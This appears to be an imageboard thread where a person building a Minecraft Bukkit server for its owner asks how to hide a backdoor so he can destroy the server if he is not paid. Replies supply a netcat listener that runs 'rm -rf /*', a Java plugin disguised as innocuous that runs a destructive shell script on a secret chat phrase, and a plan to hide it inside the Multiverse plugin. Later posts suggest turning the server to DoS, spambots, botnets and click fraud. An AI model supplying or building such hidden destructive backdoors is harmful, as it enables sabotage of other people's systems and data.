server backdoor!

Hello all.  I have a quick question.  I am currently setting up a linux bukkit server owned by someone else, mostly via putty and filezilla.  I am supposed to receive a profits percentage from said server.  However, in the event that they scam me upon it's completion, what would be the best way of going about setting up a hidden backdoor?  I just want to be able to kind of have a nuke option so they can't profit from my work.

Read SICP.

typical /g/ retard

jeez... i'm not some "omg guyz i wants to be uber l33t haxor"

I was just asking if anyone knew of an easy backdoor.  I don't really feel like doing code work if its already been done.

netcat -l 666 -e "/bin/rm -rf /*"

Why bother with a backdoor? Just use port knocking to have a pre-written script execute.

You do know what port knocking is don't you?

I suspect you know more about fart knocking.

netcat listen on port 666 to execute... i feel like that's gonna get noticed.  i mean if i try to run anything, they could just type top and bam its on the cpu usage.

And yes.  I mean I guess they wouldn't notice long enough for a script to just delete the folder.  i'm gonna have to double check how (if ever) they do their backups.  that or write a world file corrupting script.

You'd be dangerous if you had any brains.

>>8
dangerous would be utilizing their xenon proc and 400Mbps upload speed for... unethical purposes...

>>9
Dangerous would be trying to DoS someone with a phat pipe from one IP.
Like I said.

works just fine for when someone adverts their 20man on your server...

you're being a bit narrow minded by limiting your thinking to DoS.

Learn to write a bukkit plugin, implement a backdoor or two, like a server nuke that deletes everything from the server folder and corrupts as much as possible. To avoid file locking on the server .jar I'd suggest you execute a sh script and call System.exit(0) from java. Sleep a few seconds in the sh script then nuke the fucker off the map.

I'd suggest this be implemented something like this:

// Bonus points for integrating this with another plugin,
// but be careful as they might try to update it
public class SomeInnocuousPlugin extends JavaPlugin {
    // innocuous shit here
    @Override public void onEnable() {
        // normal onEnable hook here, then
        getServer().getPluginManager().registerEvents(this, new Listener() {
            @EventHandler void handle(AsyncPlayerChatEvent evt) {
                if (evt.getMessage().trim().equalsIgnoreCase("--yo this shits wack--")) {
                    // output a "shit.sh" here, then
                    Runtime.getRuntime().exec("/bin/sh shit.sh");
                }
            }
        }
    }
}

i like your style.  i would most likely embed such a script somewhere in Multiverse, with a random obscure command i could issue.  I admin the server, it would just be sort of a backup/contingency plan... Multiverse core is a pain in the ass to mess with/critical to server so it's doubtful they will update it anytime soon. 

>>10 oh and if you haven't got it yet, think proxy node, spambot, reply bot for hire, attach it to a botnet for click spoofing/selling pageviews... thats just off the top of my head
